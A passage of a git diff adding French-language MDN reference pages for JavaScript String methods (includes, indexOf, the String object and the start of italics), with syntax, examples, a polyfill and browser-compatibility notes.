+   <td>{{SpecName('ES2015', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.fromCodePoint")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html
new file mode 100644
index 0000000000..7da8d0e57e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html
@@ -0,0 +1,129 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Reference/Objets_globaux/String/includes
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>includes()</strong></code> détermine si une chaîne de caractères est contenue dans une autre et renvoie <code>true</code> ou <code>false</code> selon le cas de figure.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-includes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.includes(<var>chaîneRecherchée</var>);
+<var>str</var>.includes(<var>chaîneRecherchée</var>, <var>position</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîneRecherchée</code></dt>
+ <dd>Une chaîne à rechercher dans la chaîne courante.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd>La position dans la chaîne à partir de laquelle commencera la recherche. La valeur par défaut de <code><var>position</var></code> est 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la chaîne de caractères contient la sous-chaîne recherchée, <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode détermine si une chaîne de caractères est contenue dans une autre.</p>
+
+<h3 id="Sensibilité_à_la_case">Sensibilité à la case</h3>
+
+<p><code>includes()</code> est sensible à la casse. Par exemple, l'expression suivante nous retournera <code>false</code> :</p>
+
+<pre class="brush: js">'Baleine bleue'.includes('baleine'); // false</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_includes">Utiliser <code>includes()</code></h3>
+
+<pre class="brush:js;">const str = "Être ou ne pas être, telle est la question.";
+
+console.log(str.includes("Être"));       // true
+console.log(str.includes("question"));   // true
+console.log(str.includes("pléonasme"));  // false
+console.log(str.includes("Être", 1));    // false
+console.log(str.includes("ÊTRE"));       // false
+console.log(str.includes(""));       // true
+</pre>
+
+<h2 id="Prothèse_démulation_polyfill"><a name="polyfill">Prothèse d'émulation (<em>polyfill</em>)</a></h2>
+
+<p>Cette méthode a été ajoutée à la spécification ECMAScript 2015 et n'est peut-être pas encore disponible dans toutes les implémentations JavaScript.</p>
+
+<p>Cependant, vous pouvez facilement {{Glossary('polyfill')}} cette méthode pour de vieux navigateurs :</p>
+
+<pre class="brush: js">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+
+    if (search instanceof RegExp) {
+      throw TypeError('first argument must not be a RegExp');
+    }
+    if (start === undefined) { start = 0; }
+    return this.indexOf(search, start) !== -1;
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.includes")}}</p>
+
+<h2 id="String.prototype.contains">String.prototype.contains</h2>
+
+<p>Les versions de Firefox allant de Firefox 18 à Firefox 39 utilisent cette méthode avec le nom <code>contains()</code>. Cette méthode a été renommée en <code>includes()</code> via {{bug(1102219)}} pour la raison suivante :</p>
+
+<p>Il a été <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036">rapporté</a> que certains sites web utilisant MooTools 1.2 plantaient sur Firefox 17. Cette version de MooTools vérifie que <code>String.prototype.contains()</code> existe bien, et si ce n'est pas le cas, ajoute sa propre fonction similaire. Avec l'introduction de cette fonction dans Firefox 17, le comportement de ce contrôle a changé de telle manière qu'il cause un plantage du code de MooTools implémenté pour <code>String.prototype.contains()</code>. En conséquence, cette implémentation a été <a href="https://hg.mozilla.org/releases/mozilla-aurora/rev/086db97198a8" title="https://bugzilla.mozilla.org/show_bug.cgi?id=793781">désactivée</a> de Firefox 17. <code>String.prototype.contains()</code> est ainsi disponible sur une version ultérieure : Firefox 18 lorsque <a href="https://mootools.net/blog/2013/02/19/mootools-1-2-6-released">MooTools a déclenché la sortie de la version 1.2.6.</a></p>
+
+<p>MooTools 1.3 force sa propre version de <code>String.prototype.includes()</code>, les sites Web l'implémentant ne sont donc pas perturbés. Néanmoins, il faut noter que les signatures des méthodes diffèrent entre <a href="https://mootools.net/docs/core/Types/String#String:includes">MooTools 1.3</a> et ECMAScript 2015 (pour le second paramètre). <a href="https://github.com/mootools/mootools-core/blob/master/Docs/Types/String.md#note">MooTools 1.5+ a modifié sa signature afin de prendre en compte le standard de ES2015.</a></p>
+
+<p>Dans Firefox 48, la méthode <code>String.prototype.contains()</code> a été retirée. <code>String.prototype.includes()</code> doit être utilisée à la place.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/index.html b/files/fr/web/javascript/reference/objets_globaux/string/index.html
new file mode 100644
index 0000000000..acb1dd450e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/index.html
@@ -0,0 +1,284 @@
+---
+title: String
+slug: Web/JavaScript/Reference/Objets_globaux/String
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet global <strong><code>String</code></strong> est un constructeur de chaînes de caractères.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les littéraux de chaînes de caractères peuvent avoir l'une des formes suivantes :</p>
+
+<pre class="syntaxbox">'texte de chaînes de caractères'
+"texte de chaînes de caractères"
+"中文 español English देवनागरी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 עברית"</pre>
+
+<p>Les chaînes peuvent également être créées en utilisant directement le constructeur <code>String</code> :</p>
+
+<pre class="syntaxbox">String(texte)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>texte</code></dt>
+ <dd>Une valeur qu'on souhaite convertir en une chaîne de caractères.</dd>
+</dl>
+
+<h3 id="Littéraux_de_gabarits">Littéraux de gabarits</h3>
+
+<p>Depuis ECMAScript 2015, les littéraux de chaînes de caractères sont également appelés des <a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères">littéraux de gabarits</a> :</p>
+
+<pre class="syntaxbox">`Coucou monde`
+`Coucou !
+monde !`
+`Coucou ${qui}`
+tag `&lt;a&gt;${qui}&lt;/a&gt;`
+</pre>
+
+<h3 id="Échappement_des_caractères">Échappement des caractères</h3>
+
+<p>En dehors des caractères classiques, des caractères spéciaux peuvent être encodés grâce à l'échappement :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Code</th>
+   <th scope="col">Résultat</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\XXX</code> (<code>XXX</code> = 1 à 3 chiffres octaux pour l'intervalle 0 - 377)</td>
+   <td>Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>simple quote</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>double quote</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>barre oblique inversée</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>nouvelle ligne</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>retour chariot</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>tabulation verticale</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>tabulation</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>retour arrière</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>saut de page (<em>form feed</em>)</td>
+  </tr>
+  <tr>
+   <td><code>\uXXXX</code> (<code>XXXX</code> étant 4 chiffres hexadécimaux pour l'intervalle of 0x0000 - 0xFFFF)</td>
+   <td>Codet UTF-16. Point de code Unicode entre U+0000 et U+FFFF</td>
+  </tr>
+  <tr>
+   <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code> (<code>X…XXXXXX</code> étant 1 à 6 chiffres hexadécimaux pour l'intervalle 0x0 - 0x10FFFF)</td>
+   <td>Codet UTF-32. Point de code Unicode entre U+0000 et U+10FFFF {{experimental_inline}}</td>
+  </tr>
+  <tr>
+   <td><code>\xXX</code> (<code>XX</code> étant 2 chiffres hexadécimaux pour l'intervalle 0x00 - 0xFF)</td>
+   <td>Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence d'autres langages, JavaScript ne différencie pas les chaînes contenues dans des doubles quotes (") de celles contenues dans des simples quotes ('). Pour cette raison, les chaînes d'échappement présentées ci-avant fonctionnent sur les chaînes, peu importe la façon dont elles sont encadrées.</p>
+</div>
+
+<h3 id="Littéraux_pour_les_chaînes_longues">Littéraux pour les chaînes longues</h3>
+
+<p>Il peut arriver que le code contienne des chaînes plutôt longues. Plutôt que d'avoir des lignes qui s'étirent sur tout le fichier et dans un éditeur de code, il est possible de casser la chaîne sur plusieurs lignes sans que cela modifie le contenu de la chaîne. Il existe deux façons pour le faire :</p>
+
+<pre class="brush: js">let chaîneLongue = "Voici une très longue chaîne qui a besoin " +
+                   " d'être passée à la ligne parce que sinon " +
+                   " ça risque de devenir illisible.";</pre>
+
+<p>ou on peut utiliser le caractère barre oblique inversée "\" à la fin de chaque ligne pour indiquer que la chaîne continue sur la ligne suivante. Il faut bien faire attention à ce que la barre oblique soit bien le dernier caractère de la ligne avant le saut de ligne. Sinon, cela ne fonctionnera pas. Voilà comment se présente cette forme :</p>
+
+<pre class="brush: js">let chaîneLongue = "Voici une très longue chaîne qui a besoin \
+d'être passée à la ligne parce que sinon \
+ça risque de devenir illisible.";</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les chaînes de caractères sont utiles pour représenter des données textuelles. Les opérations les plus fréquentes qui concernent les chaînes de caractères sont : la vérification de leur {{jsxref("String.length", "longueur")}}, la concaténation de plusieurs chaînes grâce aux opérateurs <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Addition_()">+ et +=</a>, étudier la présence et la position de fragments de chaînes avec les méthodes {{jsxref("String.prototype.indexOf", "indexOf()")}} et {{jsxref("String.prototype.substring", "substring()")}}.</p>
+
+<h3 id="Accéder_à_un_caractère">Accéder à un caractère</h3>
+
+<p>Il existe deux façons d'accéder à un caractère dans une chaîne. La première façon consiste à utiliser la méthode {{jsxref("String.prototype.charAt", "charAt()")}} :</p>
+
+<pre class="brush: js">return 'chat'.charAt(2); // renvoie "a"</pre>
+
+<p>La seconde méthode, introduite avec ECMAScript 5, est de manipuler la chaîne comme un tableau, où les caractères sont les éléments du tableau et ont un indice correspondant à leur position :</p>
+
+<pre class="brush: js">return 'chat'[2]; // renvoie "a"</pre>
+
+<p>En utilisant la seconde notation, il est impossible de supprimer ou d'affecter une valeur à ces propriétés. En effet, les propriétés concernées ne sont ni accessibles en écriture ni configurables. Pour plus d'informations, voir la page de {{jsxref("Object.defineProperty()")}}.</p>
+
+<h3 id="Comparer_des_chaînes_de_caractères">Comparer des chaînes de caractères</h3>
+
+<p>Les développeurs C utilisent la fonction <code>strcmp()</code> pour comparer des chaînes de caractères. En JavaScript, il est possible d'utiliser <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">les opérateurs inférieur et supérieur </a>:</p>
+
+<pre class="brush: js">var a = "a";
+var b = "b";
+if (a &lt; b) { // true
+  console.log(a + " est inférieure à " + b);
+} else if (a &gt; b) {
+  console.log(a + " est supérieure à " + b);
+} else {
+  console.log(a + " et " + b + " sont égales.");
+}</pre>
+
+<p>On peut obtenir un résultat semblable avec la méthode {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} qui permet de prendre en compte la locale utilisée et qui est héritée par toutes les instances de <code>String</code>.</p>
+
+<h3 id="Les_différences_entre_les_objets_String_et_le_type_primitif_pour_les_chaînes_de_caractères">Les différences entre les objets <code>String</code> et le type primitif pour les chaînes de caractères</h3>
+
+<p>Les objets <code>String</code> sont créés en appelant le constructeur <code>new String()</code>. L'objet <code>String</code> encapsule le type de données primitif string de JavaScript en fournissant les méthodes décrites plus bas. La fonction globale <code>String()</code> peut également être appelée sans l'opérateur <code>new</code> pour créer une chaîne primitive. Les chaînes littérales dans le code JavaScript sont des chaînes primitives. (On a la même analogie pour {{jsxref("Boolean")}} et {{jsxref("Objets_globaux/Number","Numbers")}}.)</p>
+
+<p>Étant donné que JavaScript effectue automatiquement les conversions entre chaînes primitives et objets String, toute méthode de l'objet <code>String</code> peut être appelée sur une chaîne primitive. JavaScript convertira automatiquement la chaîne en un objet <code>String</code> temporaire, appellera la méthode, puis détruira l'objet temporaire. Par exemple, on peut utiliser la propriété <code>String.length</code> sur une chaîne créée de manière littérale :</p>
+
+<pre class="brush: js">var s_prim = "toto";
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // affiche "string"
+console.log(typeof s_obj);  // affiche "object"</pre>
+
+<p>(Une chaîne littérale peut être délimitée par des guillemets simples ou doubles.)</p>
+
+<p>Les objets String peuvent être convertis en chaînes primitives à l'aide de <code>String.valueOf()</code>.</p>
+
+<p>Les chaînes primitives et les objets String renvoient des résultats différents lorsqu'ils sont évalués en JavaScript. Les chaînes primitives sont traitées comme du code source, tandis que les objets String sont traités comme un objet de séquence de caractères. Par exemple :</p>
+
+<pre class="brush: js">s1 = "2 + 2";                    // crée une chaîne primitive
+s2 = new String("2 + 2");        // crée un objet String
+console.log(eval(s1));           // renvoie le nombre 4
+console.log(eval(s2));           // renvoie la chaîne "2 + 2"
+console.log(eval(s2.valueOf())); // renvoie le nombre 4</pre>
+
+<p>Pour ces raisons, il peut y avoir certains problèmes quand le code attend une chaîne primitive plutôt qu'un objet <code>String</code>. Généralement la distinction n'a pas besoin d'être utilisée.</p>
+
+<p>Un objet <code>String</code> peut toujours être converti en son équivalent primitif grâce à la méthode {{jsxref("String.prototype.valueOf()", "valueOf()")}}.</p>
+
+<pre class="brush: js">console.log(eval(s2.valueOf())); // renvoie  4</pre>
+
+<div class="note"><strong>Note :</strong> Une autre approche pour gérer des chaînes de caractères en JavaScript consiste à utiliser <a href="/fr/Add-ons/Code_snippets/StringView"><code>StringView</code> – une représentation semblable à celle utilisée par le langage C pour traîter les chaînes comme des tableaux typés</a>.</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>permet d'ajouter des propriétés à tous les objets <code>String</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>Renvoie une chaine de caractères créée en utilisant la séquence de valeurs Unicode fournie.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}}</dt>
+ <dd>Renvoie une chaine de caractères créée en utilisant la séquence de points de code fournie.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>Renvoie une chaine de caractères à partir d'un modèle brut de chaine de caractères.</dd>
+</dl>
+
+<h2 id="Instances_de_String">Instances de <code>String</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<h4 id="Méthodes_non_liées_à_HTML">Méthodes non liées à HTML</h4>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes non liées à HTML')}}</p>
+
+<h4 id="Méthodes_de_transformation_à_HTML">Méthodes de transformation à HTML</h4>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes de transformation HTML')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Il est possible d'utiliser <code>String</code> comme une alternative à {{jsxref("String.prototype.toString()", "toString()")}} car cela permet de traiter les valeurs {{jsxref("null")}}, {{jsxref("undefined")}} et les {{jsxref("Symbol","symboles","",1)}}. Ainsi :</p>
+
+<pre class="brush: js">var chainesSortie= [];
+for (let i = 0, n = valeursEntrée.length; i &lt; n; ++i) {
+  chainesSortie.push(String(valeursEntrée[i]));
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String",2)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="/fr/Add-ons/Code_snippets/StringView"><code>StringView</code></a></li>
+ <li><a href="/fr/docs/Web/API/DOMString/Binary">Chaînes binaires</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html
new file mode 100644
index 0000000000..370aa6d397
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html
@@ -0,0 +1,161 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/String/indexOf
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>indexOf()</code></strong> renvoie l'indice de la première occurence de la valeur cherchée au sein de la chaîne courante (à partir de <code>indexDébut</code>). Elle renvoie -1 si la valeur cherchée n'est pas trouvée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-indexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour la méthode associée aux tableaux, voir la page {{jsxref("Array.prototype.indexOf()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.indexOf(<var>valeurRecherchée</var>)
+<var>str</var>.indexOf(<var>valeurRecherchée</var>, <var>indexDébut</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurRecherchée</code></dt>
+ <dd>Une chaîne représentant la valeur qu'on cherche dans la chaîne courante. Si aucune valeur n'est fournie explicitement,<a href="https://tc39.github.io/ecma262/#sec-tostring"> <code>valeurRecherchée</code> sera convertie en <code>"undefined"</code> et c'est cette chaîne qui sera recherchée</a>.</dd>
+ <dt><code>indexDébut</code></dt>
+ <dd>Paramètre optionnel. L'indice à partir duquel commencer la recherche, effectuée du début vers la fin de la liste. Cela peut être n'importe quel entier. La valeur par défaut est 0. Si <code>indexDébut &lt; 0</code> la chaîne sera parcourue en entier (ce qui équivaut à utiliser 0). Si <code>indexDébut &gt;= str.length</code>, la méthode renverra -1 sauf si <code>valeurRecherchée</code> est la chaîne vide, auquel cas, la méthode renverra <code>str.length</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'indice de la première occurrence de la valeur indiquée, <code>-1</code> si elle n'est pas trouvée. Si la valeur recherchée est la chaîne vide, une correspondance sera trouvée à n'importe quel index entre <code>0</code> et <code>str.length</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les caractères dans une chaîne de caractères sont indexés de la gauche à la droite. L'indice du premier caractère est 0, celui du dernier caractère (d'une chaîne <code>str</code>) est <code>str.length - 1.</code></p>
+
+<pre class="brush: js">"Blue Whale".indexOf("Blue");     // retourne  0
+"Blue Whale".indexOf("Blute");    // retourne -1
+"Blue Whale".indexOf("Whale", 0); // retourne  5
+"Blue Whale".indexOf("Whale", 5); // retourne  5
+"Blue Whale".indexOf("");         // retourne  0
+"Blue Whale".indexOf("", 9);      // retourne  9
+"Blue Whale".indexOf("", 10);     // retourne 10
+"Blue Whale".indexOf("", 11);     // retourne 10</pre>
+
+<h3 id="Sensibilité_à_la_casse">Sensibilité à la casse</h3>
+
+<p>La méthode <code>indexOf()</code> est sensible à la casse. Par exemple, l'expression suivante retourne -1 :</p>
+
+<pre class="brush: js">"Blue Whale".indexOf("blue") // retourne -1
+</pre>
+
+<p>Attention : <code>0</code> n'est pas une valeur qui peut être évaluée à <code>true</code> et <code>-1</code> n'est pas une valeur qui peut être évaluée à <code>false</code>. Ainsi, si on souhaite tester si une chaîne de caractères existe au sein d'une autre chaîne de caractères, on procèdera de cette façon (ou on utilisera {{jsxref("String.prototype.includes()")}}</p>
+
+<pre class="brush: js">"Blue Whale".indexOf("Blue") != -1; // true
+"Blue Whale".indexOf("Bloe") != -1; // false</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_indexOf()_et_lastIndexOf()">Utiliser <code>indexOf()</code> et <code>lastIndexOf()</code></h3>
+
+<p>L'exemple suivant utilise <code>indexOf()</code> et <code>lastIndexOf()</code> pour localiser différentes valeurs dans la chaîne de caractères "<code>Brave new world</code>".</p>
+
+<pre class="brush: js">const uneChaîne = "Brave new world"
+
+console.log("Indice du premier w " + uneChaîne.indexOf("w"));
+// Affiche 8
+console.log("Indice du dernier w " + uneChaîne.lastIndexOf("w"));
+// Affiche 10
+
+console.log("Indice du premier 'new' " + uneChaîne.indexOf("new"));
+// Affiche 6
+console.log("Indice du dernier 'new' " + uneChaîne.lastIndexOf("new"));
+// Affiche 6
+</pre>
+
+<h3 id="indexOf()_et_la_sensibilité_à_la_casse"><code>indexOf()</code> et la sensibilité à la casse</h3>
+
+<p>L'exemple suivant définit 2 chaînes de caractères. Ces variables contiennent la meme chaîne de caractères sauf que la seconde chaîne de caractères contient des lettres majuscules. La première méthode <code>writeln</code> affiche 19. Cependant, comme la méthode <code>indexOf</code> est sensible à la casse, la chaîne de caractères "<code>cheddar</code>" n'est pas trouvée dans <code>myCapString</code>, donc le second résultat affiche -1.</p>
+
+<pre class="brush: js">const maChaîne = "brie, reblochon, cheddar";
+const maChaîneMajuscules = "Brie, Reblochon, Cheddar";
+
+console.log('maChaîne.indexOf("cheddar") is '+ maChaîne.indexOf("cheddar"));
+// Affiche 19
+console.log('maChaîneMajuscules.indexOf("cheddar") is ' + maChaîneMajuscules.indexOf("cheddar"));
+// Affiche -1</pre>
+
+<h3 id="Utiliser_indexOf()_pour_compter_le_nombre_d'occurences_dans_une_chaîne_de_caractères">Utiliser <code>indexOf()</code> pour compter le nombre d'occurences dans une chaîne de caractères</h3>
+
+<p>L'exemple suivant utilise la variable <code>count</code> pour stocker le nombre d'occurences de la lettre <code>x</code> dans la chaîne de caractère <code>str</code> :</p>
+
+<pre class="brush: js">const str = "Chaîne x de test x";
+let count = 0;
+let pos = str.indexOf("x");
+
+while ( pos != -1 ) {
+   count++;
+   pos = str.indexOf( "x",pos + 1 );
+}
+console.log(count); // Affiche 2</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.indexOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html b/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html
new file mode 100644
index 0000000000..399dfe4113
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.italics()
+slug: Web/JavaScript/Reference/Objets_globaux/String/italics
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/italics
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>italics()</strong></code> permet de créer un élément HTML {{HTMLElement("i")}} qui permet de représenter la chaîne courante en italique.</p>
+
